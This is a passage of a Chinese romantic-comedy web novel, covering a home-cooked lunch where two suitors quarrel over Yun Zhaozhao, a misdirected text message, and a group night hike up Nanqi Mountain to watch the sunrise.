疑惑间，她注意到包装袋里插着一张贺卡似的东西,抽出来一看落款,萧妧妧反应过来,包装袋里装着云昭昭前一天提到的礼物。 萧妧妧查过价格,对比发现昨天包给她的红包能覆盖香水钱,还绰绰有余，随即放心。 她真怕云昭昭会为了买个礼物自己省吃俭用。 为了配得上新香水，萧妧妧换奶黄色连衣裙，再戴上橙子造型的耳钉,整个人从视觉到嗅觉都散发着柑橘香气。 穿搭齐全，妆容也不能差,萧妧妧简单化了个裸妆,抹上晶亮的口红。 “不是要请人吃饭吗？怎么磨磨蹭蹭半天,菜都给你洗好了，赶紧下锅炒了，别赶不上午饭。” 正打扮着，萧大明左等右等等不来女儿，急吼吼跑来催促。 萧妧妧懵逼了，她都想好点哪家店点哪些菜了。 “点外卖？你这不胡闹，请客吃饭哪有点外卖的，快快快，时间来得及，爸把菜都给你弄好洗好切好了。” 萧妧妧穿戴一新，站在厨房里手足无措。 白打扮了。 “我和你妈要去你外婆家住几天，后面几天你和昭昭自己在家弄点吃的，知道你不爱去菜市场，菜我提前买好了，自己在家做吃得健康。” 眼看着萧大明又要说教她，萧妧妧举手认怂，老老实实开空调，穿围裙。 “怎么这时候去外婆家？外公外婆身体不舒服？”萧妧妧转移话题。 萧大明撅着嘴巴摇头，“是社区，天天拉我和你妈去给人开大会，分享被骗经历，唉……你说说这事闹得，本来没几个人知道，现在好了，天天来家里请，拿我们当反面教材，你妈去过一回再不肯去了。” 萧妧妧低头抖肩，笑声噗噗噗。 原来是嫌丢面子，去外婆家躲清净。 “给你们转了生活费，别天天吃垃圾食品，”萧大明嘱咐几句，看时间差不多，忙道：“哎呦，你舅舅要来接我们了，我去叫你妈。” “好好谢谢人家啊，真诚点，别整天嘻嘻哈哈的。”临出门前，张芸不放心的叮嘱。 萧妧妧一句不敢反驳，听在耳朵里，转头就忘。 父母一离开，萧妧妧望着桌面上备好的各种菜，认命地挥动铲子。 还好是她拿手菜，不然真怕把人吃出问题。 云昭昭是将近11点回来的，看到厨房忙活的萧妧妧意外了一会，放下帆布包赶来帮忙。 萧妧妧蹭到云昭昭面前，歪着脖子说：“闻闻看，我今天喷了你送的香水，你再来晚点，就要被油烟味盖住了。” 云昭昭嗅了嗅，果然是柑橘香调，高兴得眯了眼。 “妧妧姐喜欢就好，售货员给我闻过小样，它好像妧妧姐的味道，难怪妧妧姐喜欢它，售货员给我推荐了其他几款，都没有这款适合你。” 收到礼物的人给足情绪价值，送礼物的云昭昭叽叽喳喳分享选礼物过程。 萧妧妧抓了抓后脑勺，“我的味道？柑橘味？” 云昭昭回忆片刻，组织语言：“妧妧姐是柑橘、阳光和大树的味道。” 萧妧妧被她的形容勾起了兴趣，“很少有人用味道形容我。那黎行墨呢？他也有味道？” 云昭昭笑容羞涩，但老实回答：“黎学长是篝火和薄荷的味道，有时候很像阳光晒过的被子的味道。” 萧妧妧更好奇了，一边调料汁一边问：“别人也有味道吗？” 云昭昭点头：“黎先生是青山的味道，那种山脉绵延的青山，季先生是药水味，还有点消毒剂的味道，叔叔阿姨不一样，有成熟的稻谷香气。” 用气味形容身边认识的人，萧妧妧感到新奇，两人聊着聊着，不知不觉已经做好了八菜一汤。 云昭昭浅浅尝了两口，竖起大拇指，“妧妧姐进步好快。” 上次吃萧妧妧做的菜，看得出手艺生疏，萧妧妧怕出丑，才不考虑自己动手。 “可能是因为，这些是我拿手菜？” 在美食荒漠城市上学，萧妧妧被迫学会了下厨房，之所以叫拿手菜，是因为做过太多次，次次要打电话给张芸求着老妈远程指导，不易翻车。 但本质上，萧妧妧在厨艺上并没有什么天赋。 唯一庆幸的是，萧大明知道她的老底，这回全是按照她的水平备菜的，没有超纲题。 云昭昭连着试吃了四道菜，脑袋点得像小鸡啄米，不停说“好吃好吃”。 萧妧妧放心了，摘了围裙忙着端菜上桌，走到院子里一看，黎家那兄弟俩已经到了，因为找不到她们，拘束地坐在大厅里等候。 萧妧妧一拍脑门，尴尬地请他们进餐厅。 黎行墨放下特意准备的红酒，环顾一圈，问：“叔叔阿姨不在吗？” 萧妧妧：“他们回我外婆家了。” 黎行聿作势要卷起袖子帮忙，萧妧妧看他们一身白衬衫，赶紧拒绝。 开饭前，萧妧妧提了一杯饮料，正式而诚恳的向他们道谢。 云昭昭忙跟着举杯。 说着话，门口进来一个人，看到餐厅里的状况，步子停顿。 “季先生……”云昭昭最先看到门口站了个人。 话落音，其他人纷纷转头看过去。 季随颔首和众人打招呼，扬了扬相机，对云昭昭说：“照片洗出来了，想让你看看满不满意。我是不是来得不是时候？” 萧妧妧头顶的八卦雷达瞬间起立，滴溜溜转，她马上转头去看黎行墨。 果不其然，她听到了咯吱咯吱声，疑似是黎行墨在咬牙切齿。 黎行墨警惕地望着季随，过了两秒，转过头征询萧妧妧意见。 “萧小姐，介意我邀请季先生一起用餐吗？” 萧妧妧数了数，除了自己以外，四个人的目光都落在她身上，萧妧妧差点要社恐了。 她忙不迭点头，“当然不介意。” 不仅不介意还要举双手赞成，现场吃瓜谁不爱啊。 “谢谢，”黎行墨冲她道谢，转过头，皮笑肉不笑，“季先生和我们一起吧？” 云昭昭这会坐立不安，看了看黎行墨，又看了看季随，最后无助地望向萧妧妧。 萧妧妧吃瓜还来不及，拍拍云昭昭肩膀，“别看我啊，多吃点。” 季随似乎不打算拒绝，和萧妧妧说声谢，再说一句*打扰了，淡定在黎行墨旁边落座。 等萧妧妧找来新餐具递过去，就听到男主们开启了新话题。 “季先生拍景很有特点，但是拍人不太理想，昭昭在你的镜头里黯然失色。听说摄影师的情感也会投射在作品上，会不会是因为这个原因？” 季随抽走落到黎行墨手里的照片，冷漠回答：“黎先生知道的挺多，可惜，这种说法不存在。” 萧妧妧端着碗挪了挪位置，闷不吭声的开始吃瓜。 云昭昭好惨一女的，几乎不敢抬头。 但没关系，战火会蔓延。 “昭昭，你觉得这几张照片拍得怎么样？” 黎行墨隐晦地瞪了一眼季随，眼睛一眨不眨的期待着云昭昭的回答。 送命题，云昭昭支支吾吾说不出话，或者说，不敢发表意见。 桌子下，萧妧妧没忍住，踢了云昭昭一下，示意她支棱起来。 拜托，两个男人为她争风吃醋搞修罗场，云昭昭随便使点小手段，两个人还不是手拿把掐，马上服服帖帖。 云昭昭像是没感觉到，又或者顾及不到回应她，满脑子想着怎么应付过去。 倒是黎行聿朝她看了一眼，目光莫名。 萧妧妧怀疑自己反应过于激动，引起了别人的注意，只得遮掩一二，回以礼貌微笑。 这时，久久没等来云昭昭的答案，黎行墨气势全开，冷笑一声说： “也对，昭昭应该是喜欢季先生的摄影风格，听说季先生从事这个行业十多年，以前还拍过电影？履历丰富，经验丰富，受欢迎是应该的。” 阴阳怪气，最后半句听起来是咬着牙根说的。 萧妧妧想看热闹又不好太明显，闪烁八卦光芒的狐狸眼左右转一圈，再装作若无其事的样子低垂眼眸，实则耳朵竖得高高的，不放过任何动静。 而旁边的云昭昭，脸都快埋进碗里，整个人如坐针毡。 季随不甘示弱，“季先生或许经验不足，但胜在年轻，应该比我更受欢迎才对。” 好像在说照片，又好像不是，萧妧妧琢磨一会，总觉得自己思想不健康，想歪了。 饭桌上气氛古怪，两人之间火药味十足，要掐起来似的。 萧妧妧面上严肃正经，心里疯狂呐喊“打起来打起来”。 反观黎行聿，事不关己，冷眼旁观，甚至有心情夹一筷子糖醋排骨，真是好胃口啊。 萧妧妧都替他着急，三个男主，两个上赛道了，剩下的这个居然有心情吃排骨，情绪不要太稳定。 她实在憋不住，偷摸掏出手机藏在桌沿下，悄悄给云昭昭发去消息。 －姐妹，你看走眼了，黎行墨分明是绿茶的味道！ 【作者有话说】 感谢小天使“隺翯”,灌溉的14瓶营养液（づ￣3￣）づ╭～ 54 第54章 ◎“没事，只是社死了。”◎ 黎行聿察觉到手机震动两下,瞥眼看过去，屏幕恰好亮起。 阅读速度太快，以至于他发现不对劲时，已经看完了整条消息。 黎行聿默了默,眼眸微抬,目光落在斜对面的萧妧妧身上。 萧妧妧毫无所觉,脑袋低埋,嘴巴忙着吃饭，耳朵忙着吃瓜,根本无暇关注修罗场里毫无存在感的黎行聿。 这时，云昭昭突然站起。 “我吃饱了,你们慢用。” 她包含歉意地看一眼萧妧妧和季随，临走前狠狠瞪向黎行墨。 黎行墨大迈步追上去,推着云昭昭回来，“吃完再走,我不说话就是了。” 后半句说的不情不愿,好像季随找他麻烦,他是那个受委屈的人。 季随冷笑：“你是该少说几句。” 云昭昭见状,生怕他们吵起来,更用力地挣扎，恨不得马上逃离。 黎行墨眼看着要把人哄回来，季随一出口，白干,心里无端冒出火气。 “季随！你别以为我不知道你……” 眼看着要吵起来，黎行聿搁下筷子,适时打断：“食不言,寝不语。” 他斜睨一眼黎行墨,目光有几分警告意味，就差说“闭嘴吧你”。 黎行墨看了看红着眼要哭不哭的云昭昭，又看了看季随，气得胸膛起伏，可有黎行聿震慑，黎行墨不敢再闹。 萧妧妧见他们似乎陷入了僵持，拉云昭昭回到餐桌边坐下。 “我很辛苦才做出这么一大桌子菜的，至少多吃两口菜吧。” 云昭昭环顾一圈，气氛不尴不尬，心里愧疚得要死，嗯了一声后，狠狠甩开黎行墨，顺着萧妧妧的力道回到位置上。 萧妧妧嘘了一口气，虽然瓜好吃，但气氛确实有点古怪。 季随和黎行墨不再阴阳怪气了，却禁不住他们暗自较劲，好像只有他们自己认为“不着痕迹”。 季随给云昭昭夹去一块排骨，黎行墨换上公筷，夹去一块红烧肉。 “妧妧姐厨艺了得，昭昭你吃块红烧肉，放心，是公筷，我最讲究卫生。” 萧妧妧没想到还有自己的份，上次见面叫她萧小姐，这会已经改口叫姐了，他是懂拉关系的。 云昭昭做贼似的，偷瞄萧妧妧和黎行聿的表情，而后不自在的向黎行墨和季随说谢谢，主打一个一碗水端平。 季随嘲讽地冲着黎行墨勾了勾唇，随即语气温和的提醒云昭昭。 “吃慢点，容易噎着。” 云昭昭不太想理他们，低头默默扒饭。 黎行墨虽然收敛了，但显然是不甘心的。 他像是故意要展示他们关系亲密一样，若无其事的提道：“妧妧姐，夜爬的时间定了，周日凌晨四点集合，刚好能赶上日出。” 萧妧妧抬头：“凌晨四点？” 不是她质疑，市区到南奇山山脚要四十分钟车程，最短线路爬上山至少需要一个小时，夜爬难度增加，且是南市热门旅游项目，游客不会少，可能会存在拥堵排队的情况，酌情考虑，最好再预留半小时左右。 凌晨四点集合，恐怕到山脚下就能看到日出了。 黎行墨是个很愿意听取建议的人，他对南市不熟悉，对南奇山了解的不如萧妧妧，在听她分析过后，当即改口：“那就凌晨三点集合，最迟三点五十开始爬山。” 萧妧妧觉得这个时间还算靠谱，没再说什么，哀叹自己不能睡到太阳晒屁股。 季随浑然不觉自己被排挤了，听他们讨论的差不多，慢悠悠开口：“正好，我也要去南奇山采风，不介意我一起吧？” 黎行墨瞬间变脸，咬着压根说：“介意！” 季随根本不在乎黎行墨的恶劣态度，或者说直接无视了，而是去看萧妧妧和云昭昭。 萧妧妧有种引火上身的错觉，赶紧错开目光，去看云昭昭，等她做决定。 云昭昭快碎了，一面是“你敢答应你就死定了”的黎行墨，一面是“不答应你就死定了”的季随。 怎么死，云昭昭再清楚不过。 季随幽幽接话：“不答应也没关系，我可以自己去。” 黎行墨忽然噎住，后悔不迭，恨不得倒回去捂住自己的嘴。 多一个萧妧妧当电灯泡他能想想办法摆脱，现在倒好，多了一个满身心眼子的人，还是竞争者，纯粹给自己添堵。 云昭昭一听，识时务者为俊杰，飞快接话：“不、不介意。” 和男女主们同行，萧妧妧可以确定，自己才是那个被排挤的电灯泡。 “黎先生要不要一起？人多热闹些，周末应该不影响你工作安排吧？” 深思熟虑后，萧妧妧果断拉另一个人下水。 万一黎行墨耍脾气，至少有黎行聿能控制他，就萧妧妧观察到的情况，黎行墨有那么点怕哥哥。 上回偷看到黎行聿教训弟弟的画面，萧妧妧挺能理解黎行墨的。 黎行聿训人的时候气势太强，哪怕不说重话，那张冷脸就已经代替语言骂人了，发起火来不知道会是什么场面。 云昭昭脑筋急速转动，很快意识到，只要有黎先生在，黎行墨不敢乱来。 她像找到救星似的，连忙发出邀请：“对，黎先生和我们一起吧。” 黎行聿意外萧妧妧会开口邀请他，对上她亮晶晶的狐狸眼，不由自主地点头答应。 “好。” 黎行墨左看看右看看，丧气垂头，脸色黢黑。 完了，二人世界泡汤了。 这顿饭吃得萧妧妧没什么滋味，光顾着看热闹了，饭后，云昭昭要帮忙收拾残局，黎行墨和季随掐上瘾了，争着抢着要包揽洗碗等杂活。 萧妧妧怀疑他们能把厨房掀了，忙阻拦他们：“厨房有洗碗机。” 两人一听，暂且歇了心思。 萧妧妧感觉自己像是被讨好的丈母娘，不由想笑。 云昭昭受不了萧妧妧戏谑打趣的眼神，羞恼之下，一跺脚，把两人都赶了出去。 黎行聿这时慢悠悠地起身离开，萧妧妧眼尖，一下瞧见他黑色西装裤脚上有个大大的鞋印。 好巧不巧，萧妧妧几乎是立刻认出，鞋印出自她的洞洞鞋。 她趁着无人注意，悄悄翘起脚底瞄两眼对比，果然是她的杰作。 难怪她踢完云昭昭，最先看过来的却是黎行聿。 萧妧妧尴尬地握紧拳头，不知道该不该向他认错，事情都过去了一章，或许黎行聿早已忘记？ 迟疑的工夫，黎行聿寒暄两句，提出告辞，萧妧妧松了一口气，理所当然的选择装死，当做什么都不知道。 客人们先后离开，院中只剩下萧妧妧和云昭昭两人，她们不约而同地垮下肩膀，动作一致地垂下脑袋，齐齐叹气。 还没等她把这口气叹完，手机叮咚一声响，是月亮号的提示音。 萧妧妧抓起手机点进去，看到是黎行聿的头像长出小红点，颇为意外。 点进对话框后，这份意外与困惑瞬间转变为惊悚和窘迫。 “卧槽！” 云昭昭正垂头丧气，听到低呼声，转过头，就看到萧妧妧嘴巴紧抿，眼眸圆瞪，一副想要钻地缝的表情。 “怎么了妧妧姐，你没事吧？”她关切的说：“你看起来快碎了。” 萧妧妧捂脸，哀叹一声：“没事，只是社死了。” 什么绿茶的味道，分明是社死的味道，萧妧妧觉得自己能扣出一座南奇山。 沉浸式吃瓜，上头到无法自拔，一不留神，本该发给云昭昭的吐槽错发到黎行聿那里。 再看一眼对话框，是黎行聿发来的回复。 －抱歉，网络不好，没收到你的消息，方便重发一次吗？ 萧妧妧刷新界面，显示网络畅通，那句吐槽顺利发出，想撤回为时已晚。 他真没收到？ 不应该吧。 他这么回复是表示他可以装作没看见？ 谢天谢地，还好没发给黎行墨本人…… 萧妧妧纠结半天，越纠结越想挠头，黎行聿最好是因为网络原因没看到消息，否则…… 否则她也不能怎么样。 事已至此，萧妧妧决定当他没看见。 她咬牙发去一张猫猫土下座的表情包，绞尽脑汁想着怎么编出一个合理的回复，化解尴尬。 －[庆祝][庆祝]不倒闭小卖部分店即将营业，不破产艺术品集合店（不破斋）诚邀您光顾，本店将竭诚为您服务。微利时代，诚信为本，您的光顾，是我最大的荣幸，感恩支持[玫瑰][玫瑰] 231号客厅，黎行墨气冲冲数落季随的厚脸皮、不怀好意、居心叵测，说了半天无人应答。 他一转头，见到的却是换了一身居家服的亲哥对他不理不睬，反倒是垂眸凝着手机。 黎行墨不满抱怨：“哥，你看什么呢，你弟弟我都让外人欺负了。” “看广告。”他头也不抬的回应。 黎行墨更不满了，叉着腰，满脸不可置信地望着黎行聿。 萧妧妧刚把消息发出去，黎行聿那边几乎是秒回。 －谢谢邀请，我会光顾的。 萧妧妧无语了，怎么有人会一本正经回复广告啊。 萧妧妧快速结束对话，然后把黎行聿两个号从聊天列表删除，防止再发生类似事件。 午休过后，萧妧妧总算把社死的尴尬感遗忘，乐呵呵赶去188号签收快递。 是她下单的箭支送到了，因数量较多，她分散在数十家店购入，快递一批批送达，全部堆放在门口。 再就是玻璃餐具器皿，成套的玻璃杯碗盆碟下单了百来套。 尤其杯子，从颜色到款式，五花八门，再有各种做小众原创设计的品牌，能挑出来的新鲜花样就更多了。 别说古代人，萧妧妧自己都忍不住心动留下几个自用。 而琉璃，具有收藏价值，价格要比玻璃贵些，萧妧妧需要的量又大，果断选择从琉璃博物馆下单文创产品，不仅质量有保障，造型也够华丽独特，颇具艺术感。 一边签收一边检查货物，这一忙直接到天黑，想到注定不会平静的夜爬，萧妧妧早早回去休息。 闹钟响起时，时间是凌晨两点半，萧妧妧哼哼唧唧从床上爬起，脑子还有点懵。 等她收拾出一大包东西，蔫答答出门，云昭昭恰好赶来，没多久，四人凑齐在巷子口。 萧妧妧以为至少要等到爬上的时候才能闹腾起来，结果倒好，从坐车这一步开始。 “昭昭当然要坐我的车，我开车稳。” “驾龄十年，坐我的车更安全。” 寂静巷子口停了两辆车，两辆车的车主则忙着针锋相对，互不相让。 云昭昭想劝他们别吵了，两人商量好似的，一起转头看着她，目光灼灼地等她决定。 “你们都很棒，但是，昭昭跟我一起。” 萧妧妧打了个哈欠，假装没看见两人的错愕神情，拉着云昭昭走到刚刚停下的网约车前。 一上车，云昭昭得救似的松了一口气，只是想到接下来的行程，心里焦灼。 云昭昭偷瞄一眼萧妧妧，没忍住，嗫嚅着唇小声问：“妧妧姐，你是不是看出来了……” 他们表现的太明显，云昭昭知道瞒不住，就是不知道妧妧姐会怎么想。 萧妧妧撑着脸，“你和他们其中一个谈了？” 云昭昭愣了愣，随即摇头，说实话，她自己也说不清，到底该算什么样的关系。 两段关系中，她是被动方，她的不拒绝造成了现在的局面，云昭昭已经分不清对他们是什么样的感情。 “那不就成了，男朋友的位置是要竞争上岗的，让他们竞争呗。” 云昭昭搓了搓手，忐忑的说：“那、妧妧姐你会不会觉得我恶心？我和他们……是不是不太好？” 萧妧妧惊讶：“区区两根……你长那么好看，不多养几条鱼可惜了。” 云昭昭震惊于萧妧妧会说出这番话，不由呆住。 萧妧妧回望她震惊的目光，理直气壮：“这有什么不对吗？我和你才是朋友，胳膊肘不能往外拐。放心，我会帮你打掩护。” 打掩护……云昭昭回过神来，既感动又有点窘迫，更多的是放松。 萧妧妧拍拍她肩膀，安慰她：“做人嘛，不要太在意别人眼光。” 云昭昭绞着手指，声如蚊蚋：“我不在意别人，只担心妧妧姐你会看不起我，以为我……” 萧妧妧摆摆手打断了她，并朝她竖起大拇指：“拜托，你要真把他们拿捏住，我会向全世界夸你有本事，吾辈楷模。” 荤得流油的好日子让她过上了，怎么不算一种本事。 “你朋友说的对，年纪轻的时候多谈几个不是问题，一个一个谈多浪费时间啊。” 或许话题过于劲爆，驾车的司机师傅竖着耳朵听完了全部，打开话匣子参与其中。 “我年轻那会也有好多人追，不骗你们的，我同时在和三个谈，最后挑了一个不怎么样的，看到了吧，我这就是谈少了。” “你们年轻，什么爱不爱的大过天，阿姨我是过来人，听阿姨的不会错，你们要懂得把男人利用起来，不然只能自己被男人利用了，你们说是不是？” “挑男人嘛，不能看他追你用不用心，现在用心，以后也会变心，不长久的。 你得看他鼻子挺不挺，这很重要的，还有手指，要修长的最好，关键是看大腿够不够粗壮，越粗壮越好，胸肌腹肌嘛，那都是基础条件，达不到条件的都是软脚虾镴枪头，谈了浪费时间，真要结婚以后有得是你后悔的，要我说啊，最好是带去医院把把脉，肾虚的坚决不能要。” 萧妧妧没想到坐车还能学到新知识，兴奋加入聊天。 云昭昭虽然捂住了脸，但耳朵没漏过一句话，越听越是忍不住用司机师傅的经验套在黎行墨、季随身上，慢慢地，脸颊红透了。 “城里人真不一样。” 下车后，云昭昭情不自禁发出感叹。 “什么不一样？昭昭，这是登山杖，我特意为你准备的。” 黎行墨先一步到目的地，看到云昭昭的身影快步走来，强硬的要把登山杖塞给她。 云昭昭看了看不算太高的山峰，以及齐全的登山装备，沉默。 恰好这时季随找过来集合，带来一瓶驱蚊喷雾，又给云昭昭递去手电筒。 云昭昭摸了摸包，发现确实是她忘记准备的东西，低声道谢后接下它们。 季随满意勾唇，轻挑眉梢，对着黎行墨嗤笑，黎行墨气不打一处来，缠着云昭昭要问个究竟。 “你更喜欢他？为什么不接我的东西？” 云昭昭为难地开口：“南奇山只有600多米……” 黎行墨：“600米难道不是山吗？” 云昭昭委婉的说：“我家在山上，1000米的山。” 她没好意思说，背着妧妧姐她也能爬，哪用得着什么登山杖，带了反而是负累。 黎行墨忽然哑了声，视线飘忽一会，好半晌才找到角度回应：“你都没跟我提过你家住在1000米的山上！” 有点无理取闹的味道。 萧妧妧嫌这里热，蚊虫又多，没兴趣看热闹，不得不插话：“还有十五分钟到四点，你哥呢？你们不是一起来的吗？” 四人先一步到山下集合，等了大约两三分钟，身边陆续有夜爬的游客结伴上山，走了好几波人，黎行聿还没出现。 黎行墨看一眼时间，随口解释：“我哥那人就是有臭毛病，开车不允许超过四十码，我从来不爱和他一辆车出门的。估计快了吧？他比我们先出发，按理说不会太……来了。” 正说着，黎行聿从停车场方向走来，刚好在约定好的那一刻和大家汇合。 三个大帅哥站成一排，恰好是黑白灰三色，吸引了不少目光。 【作者有话说】 感谢“隺翯”,灌溉营养液+10[垂耳兔头] 55 第55章 ◎夜爬◎ 作为唯一的本地人,萧妧妧约等于团队的主心骨，见人到齐，大手一挥，带着他们拐去僻静小门。 “你们是第一次来,先带你们走捷径上山,比较省力气,下山的时候走另一条路,可以路过南奇寺，刚好把南奇山的几个主要景点看完。” 萧妧妧计划得很好,只是没想到小众冷门的上山小径意外的热闹，狭窄处竟然要排队通过。 黎行墨望着络绎不绝的夜爬游客,神情幻灭：“……怎么会这么多人。” 在他的设想中，南奇山景色佳,又是树林茂密的野外，浪漫、安静,最适合约会。 现在看来,和浪漫一点关系不沾。 萧妧妧：“人多很正常,南市虽然低调,但实打实的一线城市,旅游资源异常丰富，我记忆里各个景点向来是爆满的状态，尤其最近两年南市在网上火了，人就更多了。 别看南奇山冷门,本地人最爱来这里爬山健身，夜爬的游客也多了起来。” 黎行墨看了看攒动的人头,叉着腰,语气不爽：“不爬了,上山都要排队，我们坐直升机上去。” 他想一出是一出，萧妧妧没忍住：“想得美，600米的山哪来的直升机给你坐。” 黎行墨傻眼：“没有直升机？怎么会？” 季随讥讽：“黎大少爷不习惯徒步上山可以先回去。” 云昭昭很怕他们又吵起来，拽住黎行墨的衣角，小声说：“学长，我想爬上去，你看，前面已经畅通了。” 黎行墨什么气都没了，哼了一声，不理会季随。 恰好夜爬的队伍缓慢向前挪动，萧妧妧顾不上听他们打嘴仗，眼睛一眨不眨地盯着脚下。 小径路灯昏黄，阶梯看得不真切，她要仔细分辨一会才敢迈步。 埋头走着走着，眼前阶梯闪过来一道光束。 萧妧妧站稳了扭头，没想到会是黎行聿，他不远不近的落在她身后，手里握着手电，而光束照在自己脚边。 “怎么了？”他停下脚步，抬头看过来问。 萧妧妧意外了一会，笑着说：“谢谢啊。” 黎行聿微微勾唇，没说什么。 爬了半截，越往山上去人越多，走走停停，萧妧妧抬头一看，除了云昭昭活力满满一个劲往前蹿，大家无不是一脑门汗。 她是最差劲的那个，气喘吁吁不说，爬一截要歇一会，没多久就落后了一大截，只能眼巴巴望着大家的背影。 哦，被甩在后面的还有黎行聿，他爬山慢悠悠的，倒是不怎么喘，应该不是体力原因。 萧妧妧再次停下歇息的时候，同行的游客陆续赶超，再甩得她远远的。 她不由转身看向后方，黑咕隆咚，可以说只剩下她和黎行聿。 两人不止是被自己人甩开了，还被同行的游客甩在后面。 萧妧妧过意不去，说：“黎先生可以追上他们，不用管我，我体力差，一个人慢慢走没多久能赶上。” 黎行聿：“时间还早，不着急，我不想听他们吵。” 萧妧妧闻言，很能理解他的想法，深以为然地点头附和。 那两人不知道哪来的力气，爬山还有空争风吃醋，云昭昭仗着自己体力好，先一步跑远，萧妧妧体力跟不上，只能落后拉开差距。 “嗷呜～” 两人说着话，密林里忽然传来吼叫，没多久，前方有年轻人跟着狼嚎起来。 萧妧妧吓得一激灵，拍拍胸口，“吓死我了，差点以为有野猪蹿出来。” 黎行聿环顾四周，神情迟疑：“山上有野猪？” 萧妧妧扶着栏杆，缓慢向上挪动，喘几声抽空回话：“野猪、猴子、蛇都有，野猪和猴子打架，游客遭殃的新闻每年能上好几次热搜。” 她随手指向路边，那里有贴着小心野生动物的警示牌。 黎行聿收回目光要接话，山上又是一声嚎叫，前面不少游客吓得哎呦一声，低声抱怨。 萧妧妧又被吓了一跳，气得脸颊鼓鼓，很不满同类们突如其来的返祖行为。 “感觉自己爬得是花果山，满山都是猴。”她嘟囔。 鬼哭狼嚎此起彼伏，萧妧妧虽然习惯了，但很不爽，尤其两人落单，除了手电筒发出光束，附近黢黑一片，阴森得很。 不爽的萧妧妧眼珠子一转，扭头对黎行聿发出提醒：“我就练练嗓子，你别怕啊。” 黎行聿：？ 萧妧妧无视他投来的疑惑目光，清清嗓子，两手呈喇叭状拢在嘴巴附近，没多久，咿咿呀呀的唱腔婉转泄出。 “高中生侦探～灌了药，翩翩少年～变稚子，为防贼人找上门，稚子隐姓又埋名～” 山中空旷，树林幽静，萧妧妧尖细嗓音很快飘了半座山，霎时间，嚎叫声戛然而止。 黎行聿诧异地看她。 萧妧妧一边唱，一边朝他挤眼睛，示意“快了快了”。 她又唱了大半句，记不住后面的词了，咿呀咿呀吊一会嗓子，意犹未尽的止住。 唱戏声一停，山里静得可怕，只有风吹过树林的沙沙声，嚎叫声久久没再出现。 萧妧妧满意叉腰，“让你们吓我，哼哼。” 黎行聿失笑，帮她拧开一瓶水递过去，问：“听唱腔应该是越剧？” 萧妧妧惊讶他能分辨出是哪个剧种，点点头，低声道谢，接过水猛灌两口。 黎行聿：“我是在爷爷奶奶身边长大，他们爱听戏，耳濡目染了解一些。” “让你见笑了，其实不是传统戏剧，是改编的《名侦探柯南》，”萧妧妧解释完，话音顿了顿，偏头看他，“你知道柯南吧？那个大头死神。” 她绷起脸，做了个推眼镜的手势，粗着嗓子，“心机之蛙一直摸你肚子！” 黎行聿看起来像是那种从小接受严苛教育的人，萧妧妧几次交流发现他对什么流行语、网络梗一无所知，合理怀疑他没看过动画片。 黎行聿看了看她指来的手，“看过一点，没想到你唱得是它。” 结束模仿，萧妧妧收回手，难得露出腼腆笑容：“嘿嘿，不记得正经曲目怎么唱了，小时候被爸妈逼着学了几年，只能说有点基础，刚才唱得那段是大学排戏的时候用到的，其实也快忘了。” “哥，妧妧姐，你们也太慢了吧。” 两人一边说话一边慢吞吞爬，走过一段平缓栈道，就看到前面平台上等着的三人。 黎行墨看两人不急不缓的，晃着手电催促。 云昭昭贴心多了，主动提出放慢速度，大家一起上山。 萧妧妧看一眼指示牌，距离看日出的观景平台只剩下半小时的路，而时间还早，看不出天亮的迹象。 黎行墨看着前面黢黑的石阶，心里毛毛的，吐槽道：“刚才不知道谁在那唱戏，大半夜咿咿呀呀的真吓人。” 云昭昭小声凑过来揭他老底：“学长让唱戏声吓到了，非说要等大家一起行动。” 真等到人，黎行墨又后悔了，哪知道大哥和萧妧妧两人速度这么慢，等了好一会，前面连人影都看不见，更吓人了。 萧妧妧心虚，摸了摸鼻子偷看黎行聿反应。 黎行聿神色如常，脸不红气不喘，淡定回道：“没听见。” 黎行墨嘶了一声，“你们真没听见啊？山上回声传出去好远。” 萧妧妧收回目光，紧盯脚下石阶，装傻道：“什么唱戏啊，我们只听到有猴子叫。” 云昭昭撅了撅嘴：“学猴子叫的我们遇见了，吓我们一跳，那人路过小吊桥的时候拼命晃，要不是学长上去制止，真怕桥让他摇塌了，真讨厌。” 萧妧妧暗道一声幸好走得慢，没遇上这种人。 一边闲聊一边漫步在栈道上，半小时路程很快过去，走到观景房平台时，视角极佳的位置已经挤满了人。 看着眼前吵闹景象，黎行墨的心死了，挫败叹气。 萧妧妧提醒他们去栈道上占位置，随后拉云昭昭去洗手间。 “可是……妧妧姐，我现在还不想上厕所。” 萧妧妧笑着说：“谁让你上厕所了，我是拉你过来化妆。” 她指了指洗手间外围的洗手台，有镜子的地方大多挤满了人，大家拿着粉扑毫不留情的在脸上啪啪啪。 云昭昭揉搓衣角，“我、我不太会化……” 萧妧妧放下背包，拎出化妆包掂了掂，“怕什么，我会啊。” 她来回张望一会，眼疾手快抢到一个空出来的位置，冲着人群中傻愣愣的云昭昭招手。 “来都来了，总要拍照的，拍照不化妆怎么行？” 萧妧妧快速撸了一个淡妆，抹上口红算是应付过去了，云昭昭难得出来玩，当然要给她一点仪式感。 这是她第一次化妆，还是在人这么多的地方，云昭昭别扭极了。 小心翼翼左右观察一圈，前后左右的人不是忙着假睫毛就是忙着补粉底，并没有人关注她们，云昭昭心里安定不少。 “她们补妆也是为了拍照？” 萧妧妧按着她的脑袋转过来，提醒她别乱动，拿起粉扑开始忙活。 “对啊，旅游嘛，一辈子说不定只能来一次，当然要漂漂亮亮的留下照片。” 云昭昭听到有几个小姐姐甚至带了衣服进隔间换，眼珠子斜过去瞄一眼，就看到她们穿着小裙子小吊带，露出白皙的肩膀和大长腿，打扮的光鲜亮丽。 “她们可真厉害。” 云昭昭不安地整理衣服，望向她们时，眼底闪过胆怯和羡慕。 萧妧妧笑着夸她：“昭昭也很漂亮啊，衣服是今年流行的紧身T，特别适合你，衬得你胸大腰细，牛仔裤虽然不是流行款，但能把你的腰臀比完美显现出来。 你不知道吧，刚才路上听到好几个小姐姐夸你身材好，要不是我们人多，肯定找你要链接的。” 同样的夸奖，差不多的意思，黎行墨嘴里说出来总是不正经，妧妧姐说得却能让她心里高兴。 云昭昭不自觉放松身体，红着脸说：“真的吗？我现在这样拍照能好看吗？” 萧妧妧眉头一挑，语气骄傲：“我的拍照技术你也敢怀疑？放心吧你，保证迷得他们走不动路。” 谁们，不言而喻，云昭昭又闹了个大红脸，一阵猛咳。 “你看是不是不一样了？今天只来得及化简单的，以后有机会给你整全套。” 萧妧妧打量片刻，满意点头，让开身，留出空间方便她照镜子。 云昭昭回过神，一抬眸，目光微顿。 两只手来回倒腾，几只笔换来换去，十几分钟，镜子里看习惯的一张脸竟然变得大不一样。 【作者有话说】 别急别急，再有个两章左右开始赚钱 